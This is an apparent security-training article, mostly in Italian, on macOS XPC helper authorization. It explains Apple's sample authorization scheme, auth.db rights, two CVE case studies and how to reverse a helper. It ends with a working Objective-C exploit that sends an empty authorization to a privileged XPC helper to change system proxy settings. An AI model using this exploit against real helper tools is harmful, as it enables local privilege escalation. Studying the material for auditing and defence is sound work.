macOS XPC Authorization

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XPC Authorization

Apple propone anche un altro modo per autenticare se il processo che si connette ha i permessi per chiamare un metodo XPC esposto.

Quando un’applicazione necessita di eseguire azioni come utente privilegiato, invece di eseguire l’app come utente privilegiato solitamente installa come root un HelperTool come servizio XPC che può essere chiamato dall’app per eseguire quelle azioni. Tuttavia, l’app che chiama il servizio dovrebbe avere sufficiente autorizzazione.

ShouldAcceptNewConnection sempre YES

Un esempio si trova in EvenBetterAuthorizationSample. In App/AppDelegate.m prova a connettersi al HelperTool. E in HelperTool/HelperTool.m la funzione shouldAcceptNewConnection non controllerà nessuno dei requisiti indicati precedentemente. Restituirà sempre YES:

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in.  We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);

newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];

return YES;
}

Per maggiori informazioni su come configurare correttamente questo controllo:

macOS XPC Connecting Process Check

Autorizzazioni dell’applicazione

Tuttavia, viene effettuata dell’autorizzazione quando viene chiamato un metodo del HelperTool.

La funzione applicationDidFinishLaunching from App/AppDelegate.m creerà un riferimento di autorizzazione vuoto dopo l’avvio dell’app. Questo dovrebbe funzionare sempre.
Quindi, tenterà di aggiungere alcuni diritti a quel riferimento di autorizzazione chiamando setupAuthorizationRights:

- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);

// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).

if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}

[self.window makeKeyAndOrderFront:self];
}

La funzione setupAuthorizationRights da Common/Common.m memorizzerà nell’auth database /var/db/auth.db i diritti dell’applicazione. Nota come aggiungerà soltanto i diritti che non sono ancora presenti nel database:

+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus    blockErr;

// First get the right.  If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.

blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef,                                    // authRef
[authRightName UTF8String],                 // rightName
(__bridge CFTypeRef) authRightDefault,      // rightDefinition
(__bridge CFStringRef) authRightDesc,       // descriptionKey
NULL,                                       // bundle (NULL implies main bundle)
CFSTR("Common")                             // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run.  Either way, there's nothing more for
// us to do.
}
}];
}

La funzione enumerateRightsUsingBlock è quella usata per ottenere i permessi delle applicazioni, che sono definiti in commandInfo:

static NSString * kCommandKeyAuthRightName    = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc    = @"authRightDescription";

+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary *  sCommandInfo;

dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}

+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}

+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary *  commandDict;
NSString *      authRightName;
id              authRightDefault;
NSString *      authRightDesc;

// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.

commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);

authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);

authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);

authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);

block(authRightName, authRightDefault, authRightDesc);
}];
}

Questo significa che, alla fine di questo processo, le autorizzazioni dichiarate all’interno di commandInfo verranno memorizzate in /var/db/auth.db. Nota come lì puoi trovare per ogni metodo che richiede autenticazione, il nome del permesso e il kCommandKeyAuthRightDefault. Quest’ultimo indica chi può ottenere questo diritto.

There are different scopes to indicate who can access a right. Some of them are defined in AuthorizationDB.h (you can find all of them in here), but as summary:

NomeValoreDescrizione
kAuthorizationRuleClassAllowallowChiunque
kAuthorizationRuleClassDenydenyNessuno
kAuthorizationRuleIsAdminis-adminL'utente corrente deve essere un admin (nel gruppo admin)
kAuthorizationRuleAuthenticateAsSessionUserauthenticate-session-ownerRichiedi all'utente di autenticarsi.
kAuthorizationRuleAuthenticateAsAdminauthenticate-adminRichiedi all'utente di autenticarsi. Deve essere un admin (nel gruppo admin)
kAuthorizationRightRuleruleSpecificare regole
kAuthorizationCommentcommentSpecificare alcuni commenti aggiuntivi sul diritto

Verifica dei diritti

In HelperTool/HelperTool.m la funzione readLicenseKeyAuthorization verifica se il chiamante è autorizzato a eseguire tale metodo chiamando la funzione checkAuthorization. Questa funzione controllerà che gli authData inviati dal processo chiamante abbiano un formato corretto e poi verificherà ciò che è necessario per ottenere il diritto di chiamare il metodo specifico. Se tutto va bene l’error restituito sarà nil:

- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]

// First check that authData looks reasonable.

error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}

// Create an authorization ref from that the external form data contained within.

if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);

// Authorize the right associated with the command.

if (err == errAuthorizationSuccess) {
AuthorizationItem   oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights   = { 1, &oneRight };

oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);

err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}

if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}

return error;
}

Nota che per verificare i requisiti per ottenere il diritto di chiamare quel metodo la funzione authorizationRightForCommand controllerà semplicemente l’oggetto precedentemente commentato commandInfo. Poi chiamerà AuthorizationCopyRights per verificare se ha i diritti per invocare la funzione (nota che i flag consentono l’interazione con l’utente).

In questo caso, per chiamare la funzione readLicenseKeyAuthorization il kCommandKeyAuthRightDefault è definito come @kAuthorizationRuleClassAllow. Quindi chiunque può chiamarla.

Informazioni sul DB

È stato menzionato che queste informazioni sono memorizzate in /var/db/auth.db. Puoi elencare tutte le regole memorizzate con:

sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';

Poi puoi leggere chi può accedere al right con:

security authorizationdb read com.apple.safaridriver.allow

Diritti permissivi

Puoi trovare tutte le configurazioni dei permessi in here, ma le combinazioni che non richiederebbero l’interazione dell’utente sarebbero:

  1. ‘authenticate-user’: ‘false’
  • Questa è la chiave più diretta. Se impostata su false, specifica che un utente non deve fornire autenticazione per ottenere questo diritto.
  • Viene usata in combinazione con una delle 2 seguenti o indicando un gruppo a cui l’utente deve appartenere.
  1. ‘allow-root’: ‘true’
  • Se un utente sta operando come utente root (che ha permessi elevati), e questa chiave è impostata a true, l’utente root potrebbe potenzialmente ottenere questo diritto senza ulteriore autenticazione. Tuttavia, tipicamente raggiungere lo stato di root richiede già autenticazione, quindi questo non rappresenta uno scenario “nessuna autenticazione” per la maggior parte degli utenti.
  1. ‘session-owner’: ‘true’
  • Se impostato su true, il proprietario della sessione (l’utente attualmente loggato) otterrebbe automaticamente questo diritto. Questo potrebbe bypassare ulteriori autenticazioni se l’utente è già loggato.
  1. ‘shared’: ‘true’
  • Questa chiave non concede diritti senza autenticazione. Piuttosto, se impostata su true, significa che una volta che il diritto è stato autenticato, può essere condiviso tra più processi senza che ciascuno debba ri-autenticarsi. Ma la concessione iniziale del diritto richiederebbe comunque autenticazione a meno che non sia combinata con altre chiavi come 'authenticate-user': 'false'.

Puoi use this script to get the interesting rights:

Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)

Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard

Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui

Authorization Bypass Case Studies

  • CVE-2024-4395 – Jamf Compliance Editor helper: L’esecuzione di un audit crea /Library/LaunchDaemons/com.jamf.complianceeditor.helper.plist, espone il Mach service com.jamf.complianceeditor.helper ed esporta -executeScriptAt:arguments:then: senza verificare l’AuthorizationExternalForm del chiamante o la code signature. Un exploit banale esegue AuthorizationCreate su un riferimento vuoto, si connette con [[NSXPCConnection alloc] initWithMachServiceName:options:NSXPCConnectionPrivileged] e invoca il metodo per eseguire binari arbitrari come root. Note di reversing complete (con PoC) in Mykola Grymalyuk’s write-up.
  • CVE-2025-25251 – FortiClient Mac helper: FortiClient Mac 7.0.0–7.0.14, 7.2.0–7.2.8 and 7.4.0–7.4.2 accettava messaggi XPC creati ad arte che raggiungevano un helper privilegiato privo di controlli di autorizzazione. Poiché l’helper si fidava del proprio privilegiato AuthorizationRef, qualsiasi utente locale in grado di messaggiare il servizio poteva costringerlo a eseguire modifiche di configurazione arbitrarie o comandi come root. Dettagli in SentinelOne’s advisory summary.

Rapid triage tips

  • When an app ships both a GUI and helper, diff their code requirements and check whether shouldAcceptNewConnection locks the listener with -setCodeSigningRequirement: (or validates SecCodeCopySigningInformation). Missing checks usually yield CWE-863 scenarios like the Jamf case. A quick peek looks like:
codesign --display --requirements - /Applications/Jamf\ Compliance\ Editor.app
  • Confronta ciò che l’helper ritiene di autorizzare con ciò che il client fornisce. Quando fai reverse engineering, metti un breakpoint su AuthorizationCopyRights e conferma che il AuthorizationRef origina da AuthorizationCreateFromExternalForm (fornito dal client) invece che dal contesto privilegiato dell’helper; altrimenti probabilmente hai trovato un pattern CWE-863 simile ai casi sopra.

Reversing Authorization

Checking if EvenBetterAuthorization is used

Se trovi la funzione: [HelperTool checkAuthorization:command:] probabilmente il processo sta usando lo schema di autorizzazione menzionato precedentemente:

Se questa funzione chiama funzioni come AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree, allora sta usando EvenBetterAuthorizationSample.

Controlla /var/db/auth.db per vedere se è possibile ottenere i permessi per eseguire qualche azione privilegiata senza interazione dell’utente.

Protocol Communication

Successivamente, devi trovare lo schema del protocollo per poter stabilire una comunicazione con il servizio XPC.

La funzione shouldAcceptNewConnection indica il protocollo esportato:

In questo caso, abbiamo lo stesso di EvenBetterAuthorizationSample, check this line.

Conoscendo il nome del protocollo usato, è possibile dump its header definition with:

class-dump /Library/PrivilegedHelperTools/com.example.HelperTool

[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]

Infine, dobbiamo solo conoscere il nome del Mach Service esposto per stabilire una comunicazione con esso. Ci sono diversi modi per trovarlo:

  • Nel [HelperTool init] dove puoi vedere il Mach Service utilizzato:
  • Nel launchd plist:
cat /Library/LaunchDaemons/com.example.HelperTool.plist

[...]

<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]

Exploit Example

In questo esempio viene creato:

  • La definizione del protocollo con le funzioni
  • Un auth vuoto da usare per richiedere l’accesso
  • Una connessione al servizio XPC
  • Una chiamata alla funzione se la connessione è stata stabilita con successo
// gcc -framework Foundation -framework Security expl.m -o expl

#import <Foundation/Foundation.h>
#import <Security/Security.h>

// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";

// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end

int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;

// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);

// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);

// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];

// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];

// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);

// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];

// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];

NSLog(@"Finished!");
}

Altri helper XPC privilege abusati

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
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